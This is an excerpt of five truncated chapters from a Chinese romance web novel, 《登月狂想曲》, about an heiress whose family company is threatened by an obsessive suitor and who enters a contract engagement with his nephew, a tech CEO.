《登月狂想曲》 1. 第 1 章 《登月狂想曲》全本免费阅读 初夏寂静,圣托里尼岛的天空同爱琴海剔透得浑似一体。 岛上最高的私人别墅露台上,一座海洋生物池波光鳞动。 五米高的下沉式观景窗被阳光照射成一块剔透的蓝宝石,其内珊瑚礁嶙峋绚烂,莹黄彩鲷群如丝带般灵活穿梭而过后,一截粼粼如金的漂亮鱼尾闪过。 橙红渐变,层层叠叠缀满闪烁的钻石鳞片,随着少女的摇曳流光溢彩。 昂贵的定制鱼尾恍若天生,姿态漂亮灵动,轻快游摆旋身,任由鱼群自她海藻般的长卷发间穿梭而过。 她游曳于七彩的海葵群上方,娇俏地同橘色小丑鱼打招呼,镜头特写里那双明亮多情的眼睛,比花环袖箍上缀着的硕大澳白更加抢眼。 恍若海的女儿,热烈而又浪漫。 看到摄影师打手势表示可以收工,火颂月咕嘟嘟吐出一串气泡,姿容雀跃地转了个圈,旋身上浮。 游过礁石丛,瞥见观景窗后本不该出现的人影,她好奇地回头看,却结结实实愣了一瞬。 临着巨大的海水观景窗,男人一身剪裁得体的黑色暗纹西装,矜贵挺拔气场夺人。 他单手握着电话,腕间那支百达翡丽同黑宝石袖扣交辉瞩目,可火颂月却直勾勾地盯着那张水波映衬下模糊又熟悉的侧容。 心跳仿佛随着那个身影一同凝滞,身体却不受控制地靠近。 火颂月小心翼翼地贴着柱形观景窗潜行,企图找到一个合适的角度去窥清对方的面容。 蓦地,男人像是感受到了身后强烈的视线,握着手机回头。 漫不经心却又极富压迫感的视线直直扑过来,无声在沉寂的海水中掀起一层浪,迫得火颂月眸光微颤。 那是一张俊美得很有辨识度的脸,即便隔着温柔的水波,也化不开那道断眉轻抬间带来的侵略感。 可再好看,也不是她期待的那张脸。 甚至……看起来还有点凶。 按在观景窗上的指腹微微收紧,火颂月漂亮的多情眼中有失落闪过,不过很快被她用俏皮的笑容遮去。 她没有偷窥被抓包的羞赧,反而歪着脑袋,像一个职业的美人鱼表演者那样朝着观景窗外的男人啵了一个大大的气泡之吻,而后同身后追来的摄影师一起快速上潜。 像极了童话故事里窥探人间被发现后潜逃的人鱼公主,又像是一场凭空出现的美丽幻觉。 男人深长的目光追着消失在气泡圈后的少女,直到那抹摇曳生姿的身影消失在穹顶处,他才收回视线,沉声回复电话:“寰海的合作免谈。” 男人神色平静无波无澜,可那低沉凛冽的声线无端带着几分不容拒绝的魄力,压得电话那端沉默许久,才诺诺地追问理由。 “寰海近两年的财报和股票走向你作为CFO应该比我更清楚。”易嵊一刀见血,“他们寰海在这种形势下还要新开大项,宁可赔上整个集团也要纵着自家宝贝女儿胡闹。你要想陪着,大可以跳过去。” “不是!”电话那端的人急了,声音刺得易嵊眉心轻折,只听他在那边嚎,“哪里胡闹了?!瓦伦纳董事家的海景池布景还是人小姑娘大学时候的设计!你觉得不好看?!” 闻言,易嵊再次抬眸瞧向刚刚少女出现的观景窗。 层层叠叠的礁石雕成海底城堡的主框架,细节处又用了明丽绚烂的珊瑚礁和各种海洋植物填充,是极漂亮的童话风主题。 在这剔透纯净的爱琴海畔,和刚刚逃走的“小美人鱼”异常般配。 浪漫梦幻到不似真的,却又赏心悦目到让人对观景窗内的景色生出向往。 半晌,易嵊收回目光,语气不改果决:“简修仁,我们RC不做慈善。” 站在出口处的特助见易嵊挂了电话,这才恭敬地近身汇报:“易总,青运会场馆的设计修改稿已经发到邮箱,晚上欧洲分部的例会可能和宴会时间冲突了……” 易嵊接过平板,临行前又回望了一下刚刚少女出现的地方,这才阔步往外走:“例会照常,改成视频会议。” —— 观景池上部露台边,火颂月拢起海藻般的棕色长卷发,轻柔跃出水面。 她长舒一口气坐上露台,接过玛丽老师递来的毛巾,熟练地用希腊语道谢。 “宝贝儿,你实在太让我惊艳了!”玛丽盯着电脑屏幕惊叹,“才学习了一个月,居然能游到完全看不出膝盖,就像一条真正的小美人鱼!” 无论是表情眼神的控制,还是动作变化,眼前的少女无疑都做到了极致。 如果她去参加国际美人鱼大赛,玛丽毫不怀疑自己蝉联三届的冠军宝座要让位了。 不过眼前这位来自中国的少女身世不凡到能让自己的叔叔——瓦伦纳海洋馆的董事长亲自引荐,相信她也不屑于去参加这种比赛。 当初一听是要给娇气的名媛上课,玛丽连连拒绝。 等接触之后,玛丽关于这位大小姐的刻板印象全部消散,转变成连连的惊叹。 她从没见过哪个娇气的大小姐为了练出最完美的美人鱼泳姿,愿意每天泡在水里练习近六个小时。 排练视频没有在剧本结束的时候终止。 画面的最后,少女像一只初初窥探人间的小美人鱼,隔着厚重的观景窗,对着窗外俊美的男人生出了好奇,却又在被发现之后俏皮地逃走。 是一段美好到能让人生出旎思的意外片段。 “啧啧,这男人又man又欲,感觉下一秒就要用眼神把我们小人鱼给掳走!”玛丽眨着眼睛调皮道,“宝贝儿,这可是个少见的极品!” 隔着屏幕再次对上男人那极富侵略感的眼神,火颂月心尖又是一颤。 刚刚匆匆一瞥,发现不是认识的人除了失望便没去多想。如今细看,总感觉好像在哪里见过他。 火颂月将面容埋进浴巾内,对这位意外访客有些好奇:“露台这边一般不是不轻易开放吗?” “我听叔叔说他今天邀请了一位中国的技术专家来进行实地考察,请他帮我们的海洋馆设计一套更先进的自动设施。不过是否愿意跟我们合作,选择权在对方。”玛丽若有所思地盯着那人,“看这位先生气度不凡,我猜应该就是他了。” 瓦伦纳作为全欧最大的海洋馆,放出的项目势必会有无数公司争着竞标,流程肯定比当初她参与的岛顶别墅设计稿竞选要麻烦千百倍。 这个男人居然被馆方主动邀请?甚至还傲慢到要评估一下才决定接不接? 火颂月心下微微惊诧,又看了一眼那男人的侧颜。 英俊面容像是冰刀刻出来的,浑身上下都透着一种不容侵犯的气质。 如果这几年见过,她肯定不会轻易忘记的。 “他这会儿出现在别墅,我猜应该盛情难却,被我叔叔邀请来参加今晚的篝火节宴会” 看火颂月一直盯着看,玛丽趁机揶揄:“Luna小姐看上这位先生了?” “不是,只是看着有点像我认识的人,可惜不是……” 火颂月故作害怕地拿指尖在右眉尾比划一道,“这位先生好凶哦,我不敢招惹的!” “唔,确实!”玛丽挑起少女精巧的下巴,笑得狡黠,“我们可怜的小公主要是落到这条恶龙手中,肯定会被吃干抹净的!” “玛丽!!” “好啦好啦!快收拾一下,我们也去参加宴会。” 闻言,火颂月捂着泛红的面颊慢慢退回池子里,只露出一颗脑袋,多情眼巴巴看向玛丽:“老师,我可以自己在这儿练习吗?” 玛丽凑过来,“哪里不满意吗?” 火颂月将视频退回去,一一指出三个远景片段的不足。 都是一些很细微的点,可她对自己作品的要求一如练习美人鱼泳姿的时候那样严苛,容不得一点不完美。 看着少女漂亮的多情眼连同娇嫩白皙的肌肤都被腥涩的海水侵蚀到泛红,玛丽心疼不已。 这姑娘明明一身娇贵,却有着极致理想主义者才有的执着。 她轻轻擦去火颂月下巴尖处的水滴,温声劝导:“亲爱的,这又不是最终拍摄。” 火颂月顺着玛丽的手心亲昵地蹭了蹭:“可我想确保给妈妈的礼物万无一失。” 小姑娘来的时候就明确 2. 第 2 章 《登月狂想曲》全本免费阅读 易维醇长相优越,又举止绅士,周围路过的女人纷纷发出艳羡的声音。 火颂月却因为他的触碰毛骨悚然。 心跳突突。 她不敢在弄清他的情绪前轻举妄动,多情眼弯出讨喜的弧度,在人前给足了互相体面,“易叔叔,好久不见。” “确实一个月没见了,让我好找。”男人温柔笑着,压在火颂月踝骨处的冰袋被他一点点加力收紧,痛得少女面色一白,“为了问出你跑哪去了,我一不小心把寰海的融资给断了。” 火颂月抓着裙角,眸光颤动地盯着易维醇。 “你妈妈不会没告诉你吧?”看着少女露出小动物一样惊惶的神情,易维醇的眼神愈加兴奋,“别怕,只是让你妈妈长点记性。等你跟我回国,就帮她重新融资。” “痛。”火颂月强忍下排斥,托着腮,别过脸撒娇一般轻踹他一脚,“易维醇,你这样不择手段真的好讨厌。” 少女声音甜软,哪怕发火听起来也娇娇的。 这像极了娇嗔的反应成功取悦到易维醇,他失神间松了手。 火颂月趁机用脚推开他的膝骨,快速起身拉开距离:“易叔叔,你知道我妈妈为什么不告诉我吗?” 易维醇被冒犯了也不恼怒,被助理扶着捡起拐杖慢慢起身后,绅士地表示洗耳恭听。 火颂月的视线落在棕榈树后高大的身影上,心中快速有了几分决断:“因为我有了男友。” 闻言,易维醇轻慢笑出声:“没关系,只要没结婚。再者……结了婚还可以离婚。” 男人的偏执让火颂月毛骨悚然。 目光瞥见视线边缘一直关注的男人眨眼间消失不见,而玛丽也不知道何时能回来,火颂月警觉地后退一步:“易叔叔,失陪了。” 火颂月在易维醇动手前如一尾灵活的小鱼,先一步投入人潮涌动的舞池。 她一边快步往别墅主楼走,一边掏出手机想联系母亲的特助求证。 蓦地,一个陌生的来电突然跳了出来。 她按断电话,下一秒易维醇的短信就飞了进来,“bb,虽然你男朋友的事是骗人的,但你妈妈融资失败的事可是真的哦,你最好乖一点~” 短信附件是一份寰海的财报,和一份几天前寰海陷入融资危机的财经新闻。 火颂月脚步未停,将短信转发给母亲的特助求证。 拐进寂静的连廊内,手机短信叮得一声,精准拨动火颂月紧绷的心弦。 特助姐姐:“火总让您不用担心。” 没有正面回复。 火颂月的眼眶蓦地一热,心也被身后紧逼的脚步声一下下踏得裂开。 她扣着手心,心不在焉地转过拐角,蓦地撞进一个气息凌冽的怀抱。 被撞翻的白葡萄酒顺着肌肤滑落,冰凉的液体激起一片战栗。 火颂月无措抬头,跌入一双又冷又沉的黑眸。 是刚刚消失的男人,易嵊。 “我的小公主,看来我对你还是太纵容了……” 拐杖声踩着心跳一下下逼近。 几乎没有犹豫,火颂月轻轻攥住男人的衣襟:“先生,帮帮我。” 她脸上挂着笑,眼睫和声音却在轻轻颤抖。 美丽而脆弱,带着对陌生人盲目依赖的天真。 易嵊盯着她瞧了一瞬,断眉微蹙,目光停滞在二人被白葡萄酒浸润的肌肤处。 他冷淡抬手,指节上冰凉的戒指抵上她的腕骨推拒。 火颂月心下一沉,以为他要把自己推开,反手将他抓得更紧,多情眼里满是哀求,尾音轻颤:“please!” 闻言,男人断眉轻抬,眸色晦暗地垂眼打量她,像在审视一只可怜的小动物。 身后易维醇脚步声顿住,再开口后声音意外变得犹疑起来,“……易嵊?” 两个人显然认识。 可易嵊连眼皮都懒得抬,抽出口袋巾神情冷淡地擦掉少女衣襟上沾湿的酒液。 见少女紧张到指节发白,他停住动作,抬眸看向火颂月泛红的眼角:“怎么这么不小心。” 该是调笑的话语,因为他淡漠的声线莫名带着几分训诫的意味。 火颂月却意外被他的声音安抚,愣愣地望着他。 话落,他慢条斯理地擦拭自己的指节,目光不曾分给易维醇半分:“小叔也在?” 小叔? 居然真的是亲戚吗?! 火颂月重新变得僵硬起来,小心翼翼地去觑易嵊的神色。 可无论她怎么瞧,都看不出眼前的男人有任何热络的变化,反倒感觉到身后的易维醇重新端起了斯文的皮囊。 “朋友邀请我来度假,凑巧遇到熟人了就跟来看看嘛。” 易维醇正常交谈时声音温润,可那双眯眯眼后藏着的锋芒,如有实质般地在易嵊和火颂月身上来回打量。 他这个侄子是易家谁都不敢惹的祖宗,连亲爹都不放在眼里,对女人更是不屑一顾。 现下他却以一种圈护的姿态,纵着火颂月往怀里钻…… 难不成,火颂月口中的男友真的是易嵊? 指节敲了敲拐杖的鹰头,易维醇弯弯唇:“你们这是?” 易嵊并未理会对方的试探,擦着手不答反问,“小叔还有事?” 两年未见,他这个侄子仍旧嚣张得不可一世。 易维醇心中不快,自然不肯让他好过,故意提起本家的事:“老爷子和大哥都很久没见你了,据说帮你安排了好几个……” “关心别人的事,不如多关心小叔自己的腿。” 听出俩人不对付,火颂月心底的警报解除。 她大着胆子打量了一眼易维醇的腿,在看到他握着拐杖的手捏的指节发白后,赶忙收回视线悄悄往易嵊身边又凑了凑。 易维醇绷紧唇线对上易嵊漆黑的长眸,只见对方散漫地扬了下断眉:“早些养好,兴许争家产的时候还能靠体力赢过易维晟。” 直呼亲爹的大名,连爸都不肯叫了,还真是有够荒谬。 易维醇冷笑一声,不善的目光掠过易嵊最终落在火颂月身上。 他敲着拐杖,背身挥手:“你们先玩,国内见。” 糟心的拐杖声远去,火颂月还懵懵地揪着易嵊的衣袖有些后怕。 上次慈善晚会后,易维醇软硬兼施,单方面追了她大半年。 本以为他这种流连花丛又被众星捧月的浪子,一直吃着闭门羹会失去耐心早日放弃。没想到他竟偏执到可怕,这次居然把手伸到了母亲的心血上,甚至还追 3. 第 3 章 《登月狂想曲》全本免费阅读 一句带着玩笑语气的承诺,却让少女瞬间找回了神采。 “真的?!”她眸光熠熠,露出志在必得的小虎牙,“那你不许反悔哦!” 跟易嵊分开后,火颂月匆匆同玛丽和董事长告别,连夜飞回陵市。 既然易嵊亲口说他送过情书,那她就一定能找到。 从没有哪一刻,能像现在这样让火颂月对自己的收集癖无比骄傲。 次日上午落地后,火颂月马不停蹄地直奔观海别墅。 刚下车子便看到别墅的花墙外堆了满满几车的罗德斯玫瑰。 艳俗刺目的红,像两块巨大的血色缺口,嚣张得几乎堵住了别墅的大门。 不用想都知道是谁的手笔。 火颂月深呼吸了好几次,才调整好表情阔步走进去。 “妈妈……” Lemaire丝缎露肩连体裤被少女的长腿跨出漂亮弧度,火颂月将宝石手包递给管家,像小孩子般扑进母亲的怀里,“我回来啦!” 火臻没想到火颂月会回来的这么突然,神情微怔,下意识瞥向那些还未处理干净的玫瑰。 管家会意,麻利地指挥大家快速清理。 火臻顺了顺少女蓬松及腰的长卷发,无奈又恭敬地同电话那端的人作别:“那陈总您先忙,我改日再请您喝茶。” “是享梦乐园的陈凌阿姨吗?” “对,最近有些生意往来。” “哦……”卷翘的睫毛挡住黑眸,火颂月靠在火臻的肩侧,拨弄着她的和田玉耳坠,嗓音轻哑:“生意谈的顺利吗?我记得去年享梦上市前陈阿姨每天带着礼物来我们家做客。” “不说这个,” 火臻拉起少女的胳膊,正视她的眼睛,“在国外玩得开心吗?” “特别开心,我还为您的周年庆准备了礼物~” 听到周年庆,火臻无声苦笑着,没再接话。 母女二人挽着胳往屋内走。 看到园丁掉落在路中间的玫瑰,火颂月捡起来轻轻攥住,毫不在意被刺扎破的掌心:“最后一次收到这种讨厌的玫瑰,留一枝作纪念吧。” “丫头,你这话是什么意思?” “就是……” 对上母亲带着期盼的目光,火颂月嘴巴张张合合。 她侧偏下脑袋,让长发遮住因为说谎发热的耳尖,喏喏道:“我……遇到了一个想结婚的人。” “谁?哪家的小子?你喜欢人家吗?” 火臻眼睛一亮,面上喜色一转即逝,指着那些玫瑰,担忧中带着几分严肃,“你确定不是因为这个混蛋随便找了个人应付?” “没有,不是……” “那怎么出国一趟多了个男朋友呢?” “怎么认识的?” “做什么的?” 自家的女儿什么情感追求,火臻再清楚不过,一见钟情这种事情的概率非常小。 就算有,这丫头也不会轻易就说出要结婚这种话。 火颂月有些应付不来这般犀利的母亲,抱着她的胳膊试图用撒娇来躲过审判:“是以前一个中学的,在国外遇上了……您应该也认识……” “我认识?” 火臻更好奇了,笑意复杂:“怎么出了个国,连婚姻观都了?闪婚?小丫头真那么喜欢?” “哎呀,您就别问啦!”火颂月脸上的热度更盛,实在编不下去了,“等过阵子我们稳定了,我带他来见您。” 生怕火臻再追问,火颂月哒哒哒小跑几步走上旋转楼梯:“坐飞机好累,妈妈我先去调个时差。” “欸,你这丫头!” 看着少女像是害羞一般逃进卧室,火臻半嗔半笑:“长大了,跟妈妈有秘密咯!” 二楼的卧室门轻轻合上。 连月来积在眉头的乌云像是散去了一般,火臻长舒一口气,刚要坐下,又蓦地望向裴妍:“月月跟你私交也不错,你知道是谁吗?” 突然被cue,裴妍扶了下无框眼镜,面无表情地摇头:“您要相信火妹的眼光。” “月月的眼光是不错,可她太单纯,我怕她受欺负!”火臻坐回沙发里,神色复杂地按着狂跳的太阳穴,“她突然回来,我还以为是知道了新馆项目延期的事情了……” 裴妍心虚地垂下眸子没接话。 刚刚火妹关于男朋友的一番话,裴妍不知道是她临时扯的慌,还是已经做了什么决定。 作为火家的资助对象,和他们母女相处了七年,裴妍深知她们互相都在为了对方找出路。 可她到底是个外人,只能尽力做好分内的工作。 “我竟然希望她的男友家世不要太差,起码能让那混蛋死心。”火臻望向客厅内巨大的四口全家福,自言自语道,“我可真是一个差劲的母亲啊……” 以前寰海如日中天的时候,主动表示想要联姻的家族简直要踩塌火家门槛。 可火臻舍不得自己的女儿作为商业联姻的牺牲品,便为火颂月一一挡掉。 自打这两年寰海走上下坡路,那些拜高踩低的人更是因为易维醇那个混蛋的插手,再不敢来提联姻的事。 看不得女儿受委屈,火臻亦有自己从商多年的傲气,便一直瞒着火颂月,自己寻出路来对抗易维醇的黑手。 今天看来,或许事情并没有那么糟。 “火总,小月已经长大了。” 裴妍为火臻端上一杯清心茶,关切的目光落到二楼紧闭的卧室处,“我们负责把关就好了。” 二楼卧室。 火颂月靠在紧闭的卧室门上深呼吸了好久,才把刚刚的说谎的心慌给压下去。 冷静下来后,她从衣帽间的电梯进到三楼——她的藏宝阁内。 藏宝阁里摆满黄梨木的架子,每个架子都分门别类地用年份标注好,里边盛放着火颂月收集的各种小东西。 大到不同品牌的竖琴,小到树叶标本和上课传过的小纸条。 这里像一座个人博物馆,承载了她全部的记忆,以及一些她觉得值得珍视的情谊。 只不过这里边的东西自打哥哥离开后,再也没人帮她细分了。 她推着松木滑轮脚踏找到了高中时期分类整理的情书。 可一沓情书翻了个遍,也没找到署名为“易嵊”的那一封信笺。 只有一封没有署名的情书被孤零零地塞在角落。 难道真的被自己扔掉了?? 心跳忽然变得惴惴。 火颂月抱着情书盒子瘫进躺椅。 就在她思索着如何印证这封匿名情书的来源时,窗外突然响起车子启动的声音。 火颂月眼皮一跳,从窗口看到妈妈常用的商务车匆匆开出庄园。 从没见 4. 第 4 章 《登月狂想曲》全本免费阅读 “为什么要找我结婚?” 易嵊深长的眸子一瞬不瞬地盯着火颂月。 答案显而易见,他却好像非要等着火颂月亲口说出来。 火颂月被他问得一愣,泪水珠子可怜兮兮地挂在眼角,懵懵地望他:“我说了你就信吗?” 她看上去难过得都要背过气了,居然还留着一丝理智来反问。 易嵊差点被气笑了:“说。” “因为……” 泪珠从轻颤的睫羽上滑落,露出一双能一望到底的纯澈眼眸,少女紧紧盯着他的眼睛,好像他是让她无比珍视的宝物。 易嵊陷入那双漂亮的多情,有些失神地想,她就是这样骗着易维醇大半年的? 然后,他就听到了少女又软又哑的告白:“因为,我好像会喜欢你。” 一个听起来模棱两可,且不合时宜得像哄人的“告白”。 说完这话,火颂月也是一愣。 她有些不自在地别开脸,露出红透了的耳尖,不安地揪着衣角。 回国那晚,她同裴妍聊了许多,又亲自去找了寰海的财报来看。 最后的结论是,即便没有易维醇,寰海也独木难支。她想了一夜的出路,最快的,就是她去联姻。 可即便如此,她也不想盲目选一个自己不喜欢的人。 从见易嵊第一眼起,她就觉得自己总是会被他莫名地吸引,或许是因为潜意识里觉得他长得有些像那个人。 可一看到他的眉眼,那些乌七八糟的模糊念头全部被清空,只记得这是易嵊。 她有些害怕却又不自觉地想要靠近。 她不确定这种感情算不算喜欢,但是能肯定的是,她从没对别的异性有过这种感觉。 所以她很谨慎地给出了这样的答复。 可看着易嵊的冷淡的神色,他好像一个字都不信。 易嵊定定瞧她半晌,似乎想要窥出一丝破绽。 可那双眸子无论怎么看都真诚又直白。 对视半晌,他的眉峰越折越高,忽地阔步离去。 他忽然出现,又意味不明地甩手离开。 火颂月有些懵住,反应过来后,又在心底给这人身上贴了好几条减分的恶劣标签。 车上,秘书路眀将收集到的信息一一汇报:“易总,意外发现本家一直在暗里给寰海使绊子。直到去年,易维醇突然开始纠缠火小姐,明着为难他们母女。” “火家不是还有个长子吗?” “这人三年前好像和家里闹崩出国了,也就是那阵子前后,本家开始有动作了。” “老头那么在意寰海?” “费了不少心事,为此还答应了享梦的联姻,说要……替您把陈凌的女儿娶回去。” “呵。” 瞧见车窗外的少女郁闷地将手帕丢进垃圾桶,易嵊转了转指间银戒,“通知商务部重新评估寰海的合作案。” 次日一早,寰海大厦楼下驶入几辆商务车。 车子一停稳,海建的老总杨喆便带着合约部法务部的人浩浩荡荡地走了进去。 火臻接到消息的时候刚要安排火颂月去设计部。 这丫头今天还起了个大早,粘着她要来公司,说是想熟悉熟悉业务。 火臻猜测她肯定是知道了什么消息,不过项目停工那么大的事想瞒也瞒不住,就纵着她一起过来了。 没成想,这海建的人一点缓冲的余地都没打算留给她们。 火臻定了定神,拍拍火颂月的胳膊,“让你妍姐带你各楼层各部门熟悉一下,我去开个会。” 火颂月抓住火臻的胳膊,“妈妈,是不是出什么事了?” 火臻捏了捏少女的面颊,“职场菜鸟第一课,不要越级去关心上司没有安排的事。” 见这丫头一动不动盯着自己,火臻叹了口气,“那我们现在去进行职场第二课,看看合作方为了利益可以有多无赖,海建的人要来解约。” 昨天已经提前见识过海建那帮人的粗鲁了,不知道他们今天又会闹出什么事。 火颂月有些担心地点点头,跟着火臻去了会议室。 三十人座的大会议室,海建的人浩浩荡荡将位置占了一半,还没开谈先把气势拉满了。 大有火臻不同意解约就把场子一起砸了的感觉。 火颂月无声反握住母亲的手,替她挡住为首的杨喆不善的目光。 与此同时,寰海大厦楼下驶入一辆牌照为五个一的银顶迈巴赫,后排还跟着一辆奔驰商务车。 这嚣张的连号车牌和限量版豪车,前台还没看到人下车,便伶俐地将电话拨给裴妍,“妍姐,RC科技总裁的常用车到楼下了。” 接到电话,裴妍连忙附耳同火臻汇报。 听到前台说是易嵊的车,火颂月微怔,原本惴惴不安的小心脏忽然因为这个不请自来的人变得更加焦灼。 会不会看错了?易嵊?来做什么? 气氛凝重的会议室里,只见素来沉稳的裴妍一边接着手机安排人接应,一边踩着恨天高哒哒哒地小跑出去。 火臻带着人先后落座。 海建老总杨喆隔着宽大的红木桌将合约书甩过去:“火总爽快点,我们好聚好散。” 火臻看着撞上自己小臂的合约书,心知着合作是真要崩了。 她笑笑没动:“杨总,我方已经按照合同支付了三分之一的项目定金,并且提前预付了余下的一半未完成工款,即便这样您还是不相信我们有这个支付能力吗?” “年后的事情谁说得准?”杨喆无视屋内大半女性在场,自顾自点了根烟吞云吐雾,猥琐的视线在火颂月身上来回打量,“但如果您把火小姐的工作室签给我们海纯设计部,这事情也还能谈。” 圈子里都知道,海纯是易维醇计划要注资的一个子公司。 这二人的黑算珠打得简直毫不遮掩,既贪图火颂月本身的业务能力,又打着歪心思。 可如果这样就能让寰海少一点损失…… 火颂月悄悄拉着火臻的衣角,反被对方沉静地拍拍手背。 火臻笑得有些冷,让法务部递过去早前准备好的违约协议:“解约可以,不过按照合约,海建需要赔偿我们两倍的项目款作为违约金……” “多少?两倍?” 杨喆把烟灰直接敲在桌面上,“你们寰海隐瞒财务情况,诈骗我们签合约,还想要违约金?” “杨总,白纸黑字,难道您想法院见?” “威胁老子?” 杨喆将桌子拍的震天响,猛地掀翻违约书。 火颂月以为他要把合同甩过来,下意识起身护住妈妈。 会议室的大门急急打开。 剑拔弩张的气氛凝滞一瞬。 裴妍让开身子,身后跟着进来五六个西装革履的人,“路助请。” 看清裴妍身后引着的来人,杨喆怒气冲冲的表情先是一愣,而后匆匆放下项目书,谄媚地笑起来,“哟,路特助,您怎么到这儿来了。听说易总昨天回国了,我这还准备过会儿去RC拜访呢!” “易总让我来跟寰海签署新馆项目合作合同。”路明的狐狸眼笑得滴水不漏,“杨总谈完了吗?” 火颂月本来不认识来人,一听杨喆的话,蓦地有些呆住。 易嵊没来。 但是,他特地派人过来谈合作? 火颂月摸不清易嵊的态度,但是揪着的心因为他的行动放松下来。 “我……”杨喆捏着合约的手一顿,脸上跟着一白,“寰海新馆项目?” “对,易总关注这个项目很久了,”路明掏出厚厚的一大包文件袋,“前几天他和醇总讨论后觉得前景不错,刚好听说您同寰海解除了合约,我们今天就来把合同签了。” 杨喆脸上像是打翻了调色盘:“醇总?” 路明不再正面回复:“没别的事,就不耽误杨总时间了。” 圈内无人不知RC科技的易嵊眼高于顶,挑选合作方的条件更是无比严苛。 他们海建前脚刚和寰海闹掰,后脚RC就接手项目。 而路明又提到了易维醇,这让杨喆很难不联想到自己是不是被他们易家的叔侄联手给坑了。 难道寰海实际上前景无限,根本不像易维醇说的那般是一座空中楼阁。 他摊开文件,径直看向火臻:“火总,这合约您还没签呢?怎么就找了下家了呢?” 当着两方二十几个人的面反悔,杨喆的脸色有点挂不住。 可有钱不赚才是王八蛋。 5. 第 5 章 《登月狂想曲》全本免费阅读 不偏不倚挑了海建来闹事的时候过来递合约,说他是雪中送炭还真是有点小瞧了他易嵊。 他就是拿捏着这个时间段,悄无声息地将她逼到无法拒绝的余地。 真不愧是易嵊。 将志在必得的进攻包裹进糖衣之下。 这种手腕和心思,用在月月身上,火臻竟不确定到底是福是祸。 “您多虑了,合作只是因为寰海具备RC看中的潜质。如果您今天还有别的事要交代火小姐做,那麻烦您将火小姐借用我几分钟,我当个传话筒。” 易嵊手下的人看着年轻,却像一只油滑的狐狸,根本挑不出错。 看着紧绷到不行的火颂月,火臻也不再为难路明:“去吧,等会儿给我从实招来!” 二人来到公司休憩区的露台上。 没了火臻女士的逼视,火颂月紧绷的神经松开几分,却仍旧对易嵊的来意惴惴不安。 “易总,项目推进顺利,海建那边也传达到了。然后,火总说火小姐今天可能不方便。” 路明对着电话那边的人毕恭毕敬地汇报着情况,并委婉暗示了火臻的态度。 “火小姐,是易总,请您接一下。” 手机猝不及防地递过来,火颂月对着手机缓而慢地眨了下眼睛,犹豫着接过去:“易嵊?” “是我。”电话那端的男人声色淡漠,“出来谈谈。” “谈……什么?” 男人的声调明显被这无厘头的反问给卡了一下:“你觉得我这么大费周章,是来给寰海做慈善的?” “没……没有……” 脑子里乱糟糟的,火颂月不由望着天空上笔直的航迹云,声音也被风吹得缥缈,“可以问一下……你为什么答应了吗?” “你觉得呢?” 初夏云层稀薄,飞机的航迹云从寰海新月大厦一路链接至江对面RC科技的魔方大厦。 RC顶楼的落地窗前,听到少女在电话那端支支吾吾又小心翼翼,易嵊望着辽阔的江景,漫不经心地拨了下指间银戒,故意坏心思地放纵沉默蔓延。 半晌,那边才糯糯地重新开口:“总之先谢谢你,易嵊,你是个好人……” “那你可能要失望了。”转银戒的拇指顿住,易嵊冷笑一声,用那晚少女骂自己的话反驳回去,“我是一个,讨厌的记仇鬼。” 身后传来一腔没憋住的笑声。 易嵊无声扫过去一道眼风,对方立马捂住嘴保持安静。 以为少女又被自己生生堵沉默了,易嵊无声挑了下断眉,刚准备结束话题,就听电话那端的少女软软地喊他。 “易嵊,你一点都不讨厌了。” “我现在,很喜欢你。” 话落,是冗长的沉默,只有风声在听筒里肆意搅动。 顿了一会儿,可能是觉得自己突然这么说又像昨晚那样让易嵊无语到了,少女连忙结结巴巴地解释:“不是,就是……反正……你现在是我男朋友了,对吗?” 男朋友? 易嵊瞥了眼抽屉角落放着的婚前协议,倒也没反驳,“怎么?后悔了?” “只是被吓了好大一跳,但是有点开心。”少女压低后的声音仍旧软软的,但是轻快的情绪通过听筒无比清晰地传递过来,“那你还有什么事要交代吗?” 耳朵被少女猫叫一样的气音挠得有点痒,易嵊望着对面寰海集团的新月大厦:“明天见面谈婚约,到时路明会去接你。” 他这边一挂断电话,简修仁便憋不住了。 他端着架子,学着易嵊当初又拽又凶的训人腔调:“简修仁,我们RC不做慈善。” 对方对他的嘲讽不甚在意,仍是那副我行我素的作风,自顾自翻看报表。 简修仁欠揍地凑过来笑嘻嘻道,“没想到讨厌的记仇鬼易总,也有被光速打脸的一天?” 易嵊淡淡望向满脸看笑话的简修仁,拿起座机按了个“2”:“帮简修仁安排去南非的飞机,科考项目他来跟进……” “哥!大哥!开个玩笑开个玩笑!” 简修仁捂住话筒,看到通话界面并未拨出,他哼哼着丢下听筒:“黑心肝的。” “所以,作为你的CFO,我有权问询你合作的理由。” 半晌,简修仁得到了一句漫不经心的回复:“这不也正合你意?火臻不是你继妹的资助人吗?” “就算有这层关系,单那一份合约也完全够了。它本身附加的商业价值,你比我更清楚。” 简修仁摸不着头脑,“所以为什么还要加筹码去赌一盘你原本不看好的局?这不是你的风格。” “我的风格?”男人撩起眼皮淡漠看他一眼,又冷淡地垂眸看手机,“我只知道,我入的局没有翻不了的盘。” 这话狂得不像样子,却彻底堵住了简修仁的话匣子。 跟着易嵊八年,无论什么险况最后都能被他逆风翻盘。 最难的那次,易嵊被家里人压回港城。 易嵊硬是利用一个小时的跨洋视频教会他这个会计师怎么讲解那个参加竞评的智建专业原理,最后还一举拿下了全美最大的赞助商。 RC能有这番成就,靠的也是易嵊这股子狂劲儿。 他狂但他稳且眼光毒辣,像一只狩猎的孤狼,明目张胆地直扑要害,对方无可奈何也逃脱不了。 “那为什么正好选了寰海?” “如你所见,做慈善。” “别说虚的。” “老头的手伸到了陵市,我帮他松松筋骨。” “仅此而已?” 易嵊和本家素来不和,处处都和老爷子对着干,这些简修仁都是知道的。 可按照他历来的行事风格,如果老头的心思打到了寰海身上,他本应该直接毫不留情吞并寰海的。 这次居然大费周章搞了个合作,甚至还弄了个什么婚约?? “对着干就算了,怎么还……拿婚姻搭进去了?” “这样不好吗?”易嵊平静地望过来,漆黑的长眸下暗潮涌动,“省得他再操心联姻的事,帮他断了念想。” “你可真是……” 天生孤狼。 按理说,背靠港城易家那样的顶级豪门,就算跟家里人不合,为了那巨额家产,一般人也多多少少会做个表面功夫。 可易嵊从来不是一般人。 从初次创业被家里封杀,到孤军创立RC帝国,他没有向易家低过一次头。 万事都和本家对着干,反倒是让对方眼睁睁看着自己一次次更成功。 他身上那股子狠劲和孤注一掷的坚定,也是简修仁放弃华尔街高管,跟着他干的原因。 不过一想到婚约对象是火颂月。 简修仁语气有点酸:“怎么随便结个婚也要挑最漂亮最出众的那个?” 那可是火颂月。 